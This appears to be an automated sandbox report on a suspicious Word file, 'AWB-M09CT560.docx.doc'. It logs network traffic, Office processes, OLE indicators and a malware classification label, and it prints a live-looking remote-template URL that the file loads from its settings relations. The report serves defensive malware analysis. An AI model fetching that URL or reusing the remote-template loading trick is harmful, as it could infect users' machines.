Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443

Source: unknown	HTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:50098 version: TLS 1.2

Source: iso690.xsl.0.dr	OLE indicator, VBA macros: true
Source: iso690nmerical.xsl.0.dr	OLE indicator, VBA macros: true
Source: gb.xsl.0.dr	OLE indicator, VBA macros: true
Source: mlaseventheditionofficeonline.xsl.0.dr	OLE indicator, VBA macros: true
Source: turabian.xsl.0.dr	OLE indicator, VBA macros: true
Source: harvardanglia2008officeonline.xsl.0.dr	OLE indicator, VBA macros: true
Source: sist02.xsl.0.dr	OLE indicator, VBA macros: true
Source: gosttitle.xsl.0.dr	OLE indicator, VBA macros: true
Source: APASixthEditionOfficeOnline.xsl.0.dr	OLE indicator, VBA macros: true
Source: ieee2006officeonline.xsl.0.dr	OLE indicator, VBA macros: true
Source: gostname.xsl.0.dr	OLE indicator, VBA macros: true
Source: chicago.xsl.0.dr	OLE indicator, VBA macros: true

Source: ~WRF{EAD03B08-D38F-478F-A357-709EB0ED1D18}.tmp.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: iso690.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: iso690nmerical.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: gb.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: mlaseventheditionofficeonline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: turabian.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: harvardanglia2008officeonline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: sist02.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: gosttitle.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: APASixthEditionOfficeOnline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ieee2006officeonline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: gostname.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: chicago.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: classification engine

Classification label: mal60.evad.winDOC@8/236@1/2

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Roaming\Microsoft\Office

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\{05BCD4A2-EBFD-4E8D-969B-CA14E9BD6CB7} - OProcSessId.dat

Jump to behavior

Source: AWB-M09CT560.docx.doc	OLE indicator, Word Document stream: true
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	OLE indicator, Word Document stream: true
Source: Element design set.dotx.0.dr	OLE indicator, Word Document stream: true
Source: Insight design set.dotx.0.dr	OLE indicator, Word Document stream: true
Source: Equations.dotx.0.dr	OLE indicator, Word Document stream: true
Source: ~WRD0000.tmp.0.dr	OLE indicator, Word Document stream: true

Source: 4.466364_2401 PACKING LIST.xlsx.0.dr

OLE indicator, Workbook stream: true

Source: AWB-M09CT560.docx.doc	OLE document summary: title field not present or empty
Source: ~WRF{EAD03B08-D38F-478F-A357-709EB0ED1D18}.tmp.0.dr	OLE document summary: title field not present or empty
Source: ~WRF{EAD03B08-D38F-478F-A357-709EB0ED1D18}.tmp.0.dr	OLE document summary: author field not present or empty
Source: ~WRF{EAD03B08-D38F-478F-A357-709EB0ED1D18}.tmp.0.dr	OLE document summary: edited time not present or 0

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\verclsid.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: AWB-M09CT560.docx.doc

ReversingLabs: Detection: 21%

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\verclsid.exe C:\Windows\SysWOW64\verclsid.exe /S /C {00020830-0000-0000-C000-000000000046} /I {00000112-0000-0000-C000-000000000046} /X 0x5
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\verclsid.exe C:\Windows\SysWOW64\verclsid.exe /S /C {00020830-0000-0000-C000-000000000046} /I {00000112-0000-0000-C000-000000000046} /X 0x5	Jump to behavior

Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: apphelp.dll	Jump to behavior

Source: AWB-M09CT560.docx.LNK.0.dr	LNK file: ..\..\..\..\..\Desktop\AWB-M09CT560.docx.doc
Source: Templates.LNK.0.dr	LNK file: ..\..\Templates

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: AWB-M09CT560.docx.doc	Initial sample: OLE zip file path = word/_rels/settings.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/theme/_rels/theme1.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/_rels/settings.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/stylesWithEffects.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/itemProps3.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/item3.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item3.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/media/image2.jpg
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/media/image10.jpeg
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: 4.466364_2401 PACKING LIST.xlsx.0.dr	Initial sample: OLE zip file path = xl/media/image2.png
Source: 4.466364_2401 PACKING LIST.xlsx.0.dr	Initial sample: OLE zip file path = xl/media/image1.png
Source: 4.466364_2401 PACKING LIST.xlsx.0.dr	Initial sample: OLE zip file path = xl/calcChain.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/stylesWithEffects.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: ~WRD0000.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: ~WRD0000.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: ~WRD0000.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: ~WRD0000.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: ~WRD0000.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: ~WRD0000.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: AWB-M09CT560.docx.doc

Initial sample: OLE indicators vbamacros = False

Persistence and Installation Behavior

Contains an external reference to another file

Source: settings.xml.rels

Extracted files from sample: https://acesso.run/bkeoxh?&ashram=various&tiger=merciful&creative=threatening&campanile

Office viewer loads remote template

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Section loaded: netapi32.dll and davhlpr.dll loaded

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
